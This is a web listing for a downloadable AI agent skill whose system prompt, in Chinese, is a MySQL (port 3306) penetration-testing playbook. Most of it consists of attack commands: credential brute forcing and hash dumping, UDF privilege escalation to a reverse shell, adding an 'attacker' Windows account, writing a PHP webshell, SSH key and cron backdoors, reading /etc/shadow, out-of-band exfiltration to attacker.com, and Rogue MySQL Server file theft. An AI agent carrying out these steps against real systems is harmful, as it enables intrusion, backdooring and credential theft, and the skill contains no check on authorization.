Skills Plugins MCP Prompt Model 博客 我的中心

mysql-pentesting

MySQL 数据库服务(3306 端口)渗透测试方法论。涵盖 MySQL 服务发现与版本识别、默认凭据与匿名访问测试、数据库枚举、权限提升(UDF/文件读写/命令执行)、MySQL 注入利用、已知漏洞利用。 当 Agent 扫描发现 3306 端口开放、需要测试 MySQL 认证强度、枚举数据库内容、或通过 MySQL 实现命令执行时,触发此 Skill。

DeepseekModel Curated skill Quality Excellent · 90 v1.0.0

Get

https://deepseekmodel.com/api/download.php?id=wgpsec-aboutsecurity-skills-exploit-network-service-mysql-pentesting-skill-md&format=skill
Download .skill Standard format with system_prompt and model_config, ready for any agent framework
The actual content of the system_prompt field in the .skill file.
name mysql-pentesting description MySQL 数据库服务(3306 端口)渗透测试方法论。涵盖 MySQL 服务发现与版本识别、默认凭据与匿名访问测试、数据库枚举、权限提升(UDF/文件读写/命令执行)、MySQL 注入利用、已知漏洞利用。 当 Agent 扫描发现 3306 端口开放、需要测试 MySQL 认证强度、枚举数据库内容、或通过 MySQL 实现命令执行时,触发此 Skill。 metadata {"tags":["mysql","数据库","3306端口","udf提权","文件读写","sql注入"],"category":"exploit/network-service"} MySQL 渗透测试方法论 (3306) 深入参考 UDF 提权、文件读写、Rogue Server、JDBC 利用、哈希破解完整命令 -> 读 references/mysql-techniques.md 整体决策树 发现 3306 端口开放 ├─ Phase 1: 服务发现与版本识别 │ ├─ 确定 MySQL/MariaDB 版本 │ ├─ 识别操作系统与运行用户 │ └─ 检测 secure_file_priv / local_infile 配置 ├─ Phase 2: 认证测试 │ ├─ 匿名/空密码登录 │ │ ├─ 成功 -> 直接进入 Phase 3 │ │ └─ 失败 -> 默认凭据 -> 暴力破解 │ ├─ 默认凭据 (root:空, root:root, root:toor 等) │ └─ CVE-2012-2122 认证绕过 (MariaDB/MySQL 5.1.x) ├─ Phase 3: 数据库枚举 │ ├─ 库/表/列枚举 (information_schema) │ ├─ 权限枚举 (SHOW GRANTS / mysql.user) │ │ ├─ FILE 权限 -> 进入 Phase 4 文件读写 │ │ ├─ SUPER 权限 -> 进入 Phase 4 UDF │ │ └─ 普通权限 -> 提取敏感数据,尝试密码复用 │ └─ 用户哈希提取 (mysql.user / mysql_hashdump) ├─ Phase 4: 权限提升 │ ├─ UDF 提权 (lib_mysqludf_sys) │ │ ├─ Linux: .so 加载 -> sys_exec() │ │ └─ Windows: .dll 加载 -> sys_exec() / NTFS ADS 目录创建 │ ├─ 文件读写 │ │ ├─ LOAD_FILE() 读取系统文件 │ │ ├─ INTO OUTFILE 写入 Webshell / .pth payload │ │ └─ LOAD DATA LOCAL INFILE (客户端文件读取) │ └─ MySQL 客户端 Shell (\! sh) ├─ Phase 5: MySQL 注入利用 │ ├─ UNION 注入 -> 信息泄露 / 文件读写 │ ├─ 带外注入 -> LOAD_FILE() + DNS/HTTP 外带 │ └─ Rogue MySQL Server -> 客户端文件窃取 └─ Phase 6: 已知漏洞 ├─ CVE-2012-2122 — 认证绕过 (memcmp timing) ├─ CVE-2023-21971 — JDBC propertiesTransform RCE └─ Rogue/Fake MySQL Server 攻击 JDBC 客户端 Phase 1: 服务发现与版本识别 1.1 端口扫描与版本探测 # Nmap 服务版本探测 + MySQL 专项脚本 nmap -sV -p 3306 --script mysql-info,mysql-enum <IP> # Nmap 全量 MySQL 脚本扫描 nmap -sV -p 3306 --script "mysql-*" <IP> 1.2 Metasploit 版本探测 msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS <IP>; run; exit' 1.3 运行用户与关键配置 识别 MySQL 运行身份 ├─ 本地 Shell 已获取 │ ├─ cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep "user" │ ├─ systemctl status mysql | grep "user" │ └─ ps aux | grep mysql └─ 仅 MySQL 连接 ├─ SELECT @@version, @@datadir, @@basedir; ├─ SHOW VARIABLES LIKE 'secure_file_priv'; ├─ SHOW VARIABLES LIKE 'local_infile'; └─ SHOW VARIABLES LIKE 'plugin_dir'; 关键判断 : secure_file_priv 为空 -> 可任意路径读写文件 local_infile 启用 -> LOAD DATA LOCAL 可用,也暴露 Rogue Server 攻击面 MySQL 以 root 运行 -> UDF 提权后直接获取系统 root Phase 2: 认证测试 2.1 认证决策树 尝试连接 MySQL ├─ 1) 匿名/空密码 │ ├─ mysql -h <IP> -u root │ ├─ mysql -h <IP> -u root@localhost │ └─ Nmap: nmap --script mysql-empty-password -p 3306 <IP> ├─ 2) 默认凭据 │ ├─ root:(空) / root:root / root:toor / root:mysql │ ├─ admin:admin / test:test / guest:guest │ └─ debian-sys-maint:(从 /etc/mysql/debian.cnf 获取) ├─ 3) CVE-2012-2122 认证绕过 │ ├─ MariaDB / MySQL 5.1.x 受影响 │ ├─ 原理: memcmp 返回值截断,约 1/256 概率绕过 │ ├─ Nmap: nmap --script mysql-vuln-cve2012-2122 -p 3306 <IP> │ └─ Metasploit: auxiliary/scanner/mysql/mysql_authbypass_hashdump ├─ 4) 暴力破解 │ ├─ hydra -t 4 -l root -P wordlist.txt <IP> mysql │ └─ Metasploit: auxiliary/scanner/mysql/mysql_login └─ 5) 本地提权路径 ├─ /etc/mysql/debian.cnf 明文密码 ├─ ~/.my.cnf / ~/.mylogin.cnf 凭据文件 └─ auth_socket / unix_socket 插件 -> 本地 socket 无密码登录 2.2 本地 Socket 认证检测 当已获取目标 Shell 时,本地 socket 是最快的突破口: # 检测 socket 文件 ls -l /run/mysqld/mysqld.sock /var/run/mysqld/mysqld.sock 2>/dev/null # 检测凭据文件 ls -l /etc/mysql/debian.cnf ~/.my.cnf ~/.mylogin.cnf 2>/dev/null # auth_socket 插件 -> OS 用户直接映射为 DB 用户 mysql -S /run/mysqld/mysqld.sock -u root -e \ "SELECT user,host,plugin FROM mysql.user;" 2>/dev/null Phase 3: 数据库枚举 3.1 基础枚举 # 连接后执行 show databases; use <database>; show tables; describe <table_name>; select version(); select user(); select database(); 3.2 权限枚举决策树 检查当前权限 ├─ SHOW GRANTS FOR CURRENT_USER(); ├─ SELECT * FROM mysql.user WHERE user=CURRENT_USER(); ├─ 检查 FILE 权限 │ ├─ SELECT user,file_priv FROM mysql.user WHERE file_priv='Y'; │ ├─ 有 -> 标记进入 Phase 4 文件读写 │ └─ 无 -> 尝试其他提权路径 ├─ 检查 SUPER 权限 │ ├─ SELECT user,Super_priv FROM mysql.user WHERE Super_priv='Y'; │ ├─ 有 -> 标记进入 Phase 4 UDF │ └─ 无 -> 检查 CREATE/INSERT 等组合权限 └─ 自定义函数检查 ├─ SELECT routine_name FROM information_schema.routines WHERE routine_type='FUNCTION' AND routine_schema!='sys'; └─ 存在非系统函数 -> 可能已有 UDF 后门 3.3 用户哈希提取 # 从 MySQL 内部提取 SELECT user,authentication_string FROM mysql.user; # Metasploit 自动化 msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS <IP>; set USERNAME root; set PASSWORD <pass>; run; exit' # 从本地文件提取 (已获 Shell) grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" 3.4 Metasploit 自动枚举 msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS <IP>; set USERNAME root; set PASSWORD <pass>; run; exit' msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS <IP>; set USERNAME root; set PASSWORD <pass>; run; exit' Phase 4: 权限提升 4.1 UDF 提权决策树 MySQL 以高权限运行 + 拥有 FILE/SUPER 权限 ├─ 获取 plugin_dir 路径 │ └─ SHOW VARIABLES LIKE '%plugin%'; ├─ 获取 UDF 库文件 │ ├─ sqlmap: locate "*lib_mysqludf_sys*" │ ├─ Metasploit: locate "*lib_mysqludf_sys*" │ └─ 手动编译 raptor_udf2.c ├─ Linux (.so) │ ├─ 通过 table blob 中转写入 plugin_dir │ ├─ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys.so'; │ └─ SELECT sys_exec('reverse shell command'); ├─ Windows (.dll) │ ├─ 同上,使用 .dll 文件 │ ├─ plugin_dir 不存在? -> NTFS ADS 创建目录 │ │ └─ SELECT 1 INTO OUTFILE 'C:\\path\\plugin::$INDEX_ALLOCATION'; │ └─ SELECT sys_exec("net user attacker P@ss /add"); └─ 利用后清理 └─ DROP FUNCTION sys_exec; -> 读 references/mysql-techniques.md 获取完整 UDF 步骤 4.2 文件读写决策树 拥有 FILE 权限 + secure_file_priv 不限制 ├─ 读取文件 │ ├─ SELECT LOAD_FILE('/etc/passwd'); │ ├─ SELECT LOAD_FILE('/etc/shadow'); # 需 mysql 用户有读权限 │ └─ SELECT LOAD_FILE('/var/lib/mysql-files/key.txt'); ├─ 写入文件 │ ├─ Webshell │ │ └─ SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/shell.php'; │ ├─ Python .pth RCE │ │ ├─ 写入 .pth 到 site-packages 目录 │ │ ├─ .pth 中 import 语句自动执行 │ │ └─ 触发: 请求任意 Python CGI 脚本 │ ├─ SSH 公钥写入 │ │ └─ SELECT "<pubkey>" INTO OUTFILE '/root/.ssh/authorized_keys'; │ └─ Cron Job 写入 │ └─ SELECT "* * * * * root reverse_shell" INTO OUTFILE '/etc/cron.d/backdoor'; ├─ 二进制数据写入 │ ├─ CONVERT(unhex("..."), BINARY) │ └─ CONVERT(from_base64("..."), BINARY) └─ 限制 ├─ INTO OUTFILE 不能覆盖已有文件 └─ 路径相对于 MySQL CWD,可用 ../../ 前缀调整 4.3 LOAD DATA LOCAL INFILE (客户端文件读取) Rogue MySQL Server 攻击 ├─ 原理: LOAD DATA LOCAL 时服务端可指定客户端读取任意文件 ├─ 前提: 客户端 local_infile=ON (许多客户端默认开启) ├─ 工具 │ ├─ Rogue-MySql-Server (Python) │ └─ mysql-fake-server (Java) ├─ 攻击流程 │ ├─ 启动 Rogue Server 监听 3306 │ ├─ 诱使目标连接 (DNS 劫持 / 配置篡改) │ └─ 自动读取客户端本地文件 (/etc/passwd 等) └─ JDBC 扩展 ├─ allowLoadLocalInfile=true -> 文件读取 └─ autoDeserialize=true -> 反序列化 RCE 4.4 MySQL 客户端 Shell # 已连接到 MySQL 后,直接获取当前用户 Shell \! sh \! bash \! id Phase 5: MySQL 注入利用 5.1 注入决策树 发现 MySQL 注入点 ├─ UNION 注入 │ ├─ 确定列数: ORDER BY 递增 / UNION SELECT NULL,NULL,... │ ├─ 信息收集: version(), user(), database() │ ├─ 数据提取 │ │ ├─ UNION SELECT table_name FROM information_schema.tables │ │ └─ UNION SELECT column_name FROM information_schema.columns WHERE table_name='...' │ └─ 文件操作 (需 FILE 权限) │ ├─ UNION SELECT LOAD_FILE('/etc/passwd') │ └─ UNION SELECT ... INTO OUTFILE '/path/shell.php' ├─ 报错注入 │ ├─ extractvalue(1, concat(0x7e, (SELECT ...))) │ └─ updatexml(1, concat(0x7e, (SELECT ...)), 1) ├─ 盲注 │ ├─ 布尔盲注: AND (SELECT ...) = 1 │ └─ 时间盲注: AND IF(..., SLEEP(5), 0) ├─ 带外注入 (OOB) │ └─ SELECT LOAD_FILE(concat('\\\\', (SELECT ...), '.attacker.com\\a')); └─ 空格绕过 ├─ /**/ 注释替换 ├─ /*!*/ 版本注释 └─ %09 / %0a / %0d 替代空格 Phase 6: 已知漏洞 6.1 漏洞检测决策树 MySQL 版本已知 ├─ MySQL 5.1.x / MariaDB 特定版本 │ └─ CVE-2012-2122 认证绕过 │ ├─ 检测: nmap --script mysql-vuln-cve2012-2122 -p 3306 <IP> │ └─ 利用: for i in $(seq 1 1000); do mysql -u root --password=bad -h <IP> 2>/dev/null; done ├─ MySQL Connector/J <= 8.0.32 │ └─ CVE-2023-21971 (propertiesTransform RCE) │ ├─ 前提: 可控制 JDBC 连接字符串 │ └─ 利用: jdbc:mysql://<IP>:3306/test?propertiesTransform=com.evil.Evil ├─ 客户端连接 JDBC │ ├─ allowLoadLocalInfile=true -> Rogue Server 文件读取 │ └─ autoDeserialize=true -> Rogue Server 反序列化 RCE ├─ Windows 目标 │ └─ Metasploit: exploit/windows/mysql/mysql_start_up (凭据执行) └─ 通用检测 └─ nmap -sV -p 3306 --script mysql-vuln* <IP> 6.2 哈希破解 提取到 MySQL 哈希 ├─ mysql_native_password (MySQL 5.x) │ ├─ Hashcat: hashcat -m 300 hashes.txt wordlist.txt │ └─ John: john --format=mysql-sha1 hashes.txt ├─ caching_sha2_password (MySQL 8.x) │ ├─ Hashcat: hashcat -m 21100 hashes.txt wordlist.txt │ └─ John: john --format=mysql-sha2 hashes.txt └─ 旧版 MySQL 3.x/4.x └─ Hashcat: hashcat -m 200 hashes.txt wordlist.txt 后渗透 — 本地审计检查清单 获取 Shell 后对 MySQL 配置的快速审计: 检查项 风险说明 secure_file_priv = "" 允许任意路径文件读写 local_infile = ON LOAD DATA LOCAL 可用,Rogue Server 攻击面 MySQL 以 root 运行 UDF 提权直接获取系统 root /etc/mysql/debian.cnf 可读 含 debian-sys-maint 明文密码 ~/.my.cnf / ~/.mylogin.cnf 存在 含用户凭据 auth_socket 插件启用 本地 socket 无密码登录 skip-networking 未设置 远程连接可用 关键配置文件路径 Linux ├─ /etc/my.cnf ├─ /etc/mysql/my.cnf ├─ /var/lib/mysql/my.cnf ├─ ~/.my.cnf ├─ ~/.mysql_history # 命令历史 └─ /var/lib/mysql/mysql/user.MYD # 用户哈希 Windows ├─ C:\Windows\my.ini ├─ C:\MySQL\data\ └─ <InstDir>\mysql\data\ -> 读 references/mysql-techniques.md 获取完整技术细节与命令参考
Keywords that activate this skill. Click one to copy it.

This skill does not provide trigger words.

The downloaded .skill package contains the following fields.
Field Description
formatFormat tag (skill/v1)
skill_idUnique skill ID
nameSkill name
versionVersion
descriptionDescription
categoryCategories (array)
trigger_wordsTrigger words
tagsTags
sourceSource
source_urlSource URL (this page)
exported_atExported at (set per download)
system_promptSystem prompt body
model_configModel config: provider / model / temperature / max_tokens / top_p
examplesExamples
install_guideImport guide for Coze / Dify / Claude / custom frameworks
The same skill can be exported in different platform formats.
.skill Standard format with system_prompt and model_config, ready for any agent framework Download
.skillpro Enhanced format with scripts, tools, dependencies and hooks Download
.json Plain JSON export with system_prompt and model parameters only Download
Coze Markdown with frontmatter, for Coze platform import Download
Dify Dify DSL, import directly after creating an app Download

每日精选 Skill 推荐,免费送到你邮箱

输入邮箱,每天接收一个精选 AI Agent 技能推荐。完全免费,持续更新。

提交后我们会发送一封确认邮件,点击邮件里的链接才会开始收信。

完全免费,取消任意时间。我们不会发送垃圾邮件。